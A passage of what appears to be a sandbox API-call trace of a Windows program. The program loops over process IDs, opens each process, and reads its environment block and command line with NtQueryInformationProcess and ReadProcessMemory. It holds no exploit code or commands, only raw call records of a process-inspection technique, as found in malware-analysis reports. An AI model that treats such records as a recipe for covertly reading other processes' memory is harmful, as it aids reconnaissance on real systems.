_ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0301.946] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x138) returned 0x0 [0301.946] CloseHandle (hObject=0x0) returned 0 [0301.946] _ui64tow_s (in: _Value=0x180, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="384") returned 0x0 [0301.950] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="384") returned 3 [0301.951] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0301.951] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0301.964] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x180) returned 0x0 [0301.964] CloseHandle (hObject=0x0) returned 0 [0301.965] _ui64tow_s (in: _Value=0x1bc, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="444") returned 0x0 [0301.968] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="444") returned 3 [0301.979] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0301.979] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0301.991] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1bc) returned 0x0 [0301.991] CloseHandle (hObject=0x0) returned 0 [0301.992] _ui64tow_s (in: _Value=0x1c8, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="456") returned 0x0 [0301.995] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="456") returned 3 [0301.996] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0301.996] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0302.010] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1c8) returned 0x0 [0302.010] CloseHandle (hObject=0x0) returned 0 [0302.010] _ui64tow_s (in: _Value=0x1fc, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="508") returned 0x0 [0302.014] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="508") returned 3 [0302.015] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0302.015] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0302.044] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1fc) returned 0x16c [0302.044] GetLastError () returned 0x0 [0302.045] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0302.045] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x73520ea018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0302.046] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0302.046] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1c5bea716a0, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0302.046] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1c5bea713b0, lpBuffer=0x2dc24fc2d0, nSize=0x42, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0302.047] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0302.049] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0302.049] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x73520ea020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0302.049] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1c5bea70d90, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0302.049] malloc (_Size=0x1c) returned 0x20abc2a9e20 [0302.049] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1c5bea713f2, lpBuffer=0x20abc2a9e20, nSize=0x1a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2a9e20*, lpNumberOfBytesRead=0x0) returned 1 [0302.050] free (_Block=0x20abc2a9e20) [0302.050] CloseHandle (hObject=0x16c) returned 1 [0302.050] _ui64tow_s (in: _Value=0x214, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="532") returned 0x0 [0302.054] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="532") returned 3 [0302.055] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0302.055] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0302.068] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x214) returned 0x0 [0302.068] CloseHandle (hObject=0x0) returned 0 [0302.069] _ui64tow_s (in: _Value=0x21c, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="540") returned 0x0 [0302.072] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="540") returned 3 [0302.073] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0302.073] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0302.101] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x21c) returned 0x16c [0302.101] GetLastError () returned 0x0 [0302.102] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0302.102] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x72f69a3018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0302.102] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0302.102] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1d0c58032b0, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0302.102] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1d0c5802f08, lpBuffer=0x2dc24fc2d0, nSize=0x3c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0302.104] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0302.105] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0302.105] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x72f69a3020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0302.105] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1d0c58028f0, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0302.105] malloc (_Size=0x3e) returned 0x20abc27cb20 [0302.105] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1d0c5802f44, lpBuffer=0x20abc27cb20, nSize=0x3c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc27cb20*, lpNumberOfBytesRead=0x0) returned 1 [0302.106] free (_Block=0x20abc27cb20) [0302.107] CloseHandle (hObject=0x16c) returned 1 [0302.107] _ui64tow_s (in: _Value=0x274, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="628") returned 0x0 [0302.111] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="628") returned 3 [0302.112] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0302.112] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0302.124] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x274) returned 0x16c [0302.124] GetLastError () returned 0x0 [0302.126] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0302.128] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x252b60c018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0302.128] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0302.128] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x15e739033e0, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0302.128] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x15e73903048, lpBuffer=0x2dc24fc2d0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0302.129] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0302.131] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0302.131] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x252b60c020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0302.131] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x15e73902a30, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0302.131] malloc (_Size=0x5e) returned 0x20abc2807d0 [0302.131] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x15e73903088, lpBuffer=0x20abc2807d0, nSize=0x5c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2807d0*, lpNumberOfBytesRead=0x0) returned 1 [0302.132] free (_Block=0x20abc2807d0) [0302.133] CloseHandle (hObject=0x16c) returned 1 [0302.133] _ui64tow_s (in: _Value=0x294, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="660") returned 0x0 [0302.137] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="660") returned 3 [0302.138] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0302.138] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0302.151] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x294) returned 0x16c [0302.151] GetLastError () returned 0x0 [0302.152] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0302.153] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0xab53d9d018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0302.153] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0302.153] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2aaa9303450, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0302.153] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2aaa93030c8, lpBuffer=0x2dc24fc2d0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0302.154] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0302.156] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0302.156] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0xab53d9d020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0302.156] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2aaa9302ab0, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0302.156] malloc (_Size=0x54) returned 0x20abc2a7b40 [0302.156] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2aaa9303108, lpBuffer=0x20abc2a7b40, nSize=0x52, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2a7b40*, lpNumberOfBytesRead=0x0) returned 1 [0302.157] free (_Block=0x20abc2a7b40) [0302.158] CloseHandle (hObject=0x16c) returned 1 [0302.158] _ui64tow_s (in: _Value=0x304, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="772") returned 0x0 [0302.161] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="772") returned 3 [0302.162] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0302.162] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0302.181] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x304) returned 0x16c [0302.181] GetLastError () returned 0x0 [0302.182] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0302.182] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x14042d3018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0302.183] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0302.183] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1b67c9c19f0, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0302.183] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1b67c9c16e8, lpBuffer=0x2dc24fc2d0, nSize=0x38, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0302.184] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0302.185] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0302.185] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x14042d3020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0302.186] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1b67c9c10d0, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0302.186] malloc (_Size=0x16) returned 0x20abc281ee0 [0302.186] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1b67c9c1720, lpBuffer=0x20abc281ee0, nSize=0x14, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc281ee0*, lpNumberOfBytesRead=0x0) returned 1 [0302.186] free (_Block=0x20abc281ee0) [0302.187] CloseHandle (hObject=0x16c) returned 1 [0302.187] _ui64tow_s (in: _Value=0x364, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="868") returned 0x0 [0302.191] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="868") returned 3 [0302.192] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0302.192] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0302.218] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x364) returned 0x16c [0302.218] GetLastError () returned 0x0 [0302.219] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0302.220] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x14a30a018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0302.220] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0302.220] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x11bea6033e0, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0302.220] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x11bea603048, lpBuffer=0x2dc24fc2d0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0302.221] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0302.223] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0302.223] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x14a30a020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0302.223] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x11bea602a30, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0302.223] malloc (_Size=0x58) returned 0x20abc2a7b40 [0302.223] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x11bea603088, lpBuffer=0x20abc2a7b40, nSize=0x56, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2a7b40*, lpNumberOfBytesRead=0x0) returned 1 [0302.224] free (_Block=0x20abc2a7b40) [0302.224] CloseHandle (hObject=0x16c) returned 1 [0302.225] _ui64tow_s (in: _Value=0x37c, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="892") returned 0x0 [0302.229] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="892") returned 3 [0302.230] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0302.230] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0302.242] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x37c) returned 0x16c [0302.242] GetLastError () returned 0x0 [0302.244] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0302.244] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0xc818199018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: 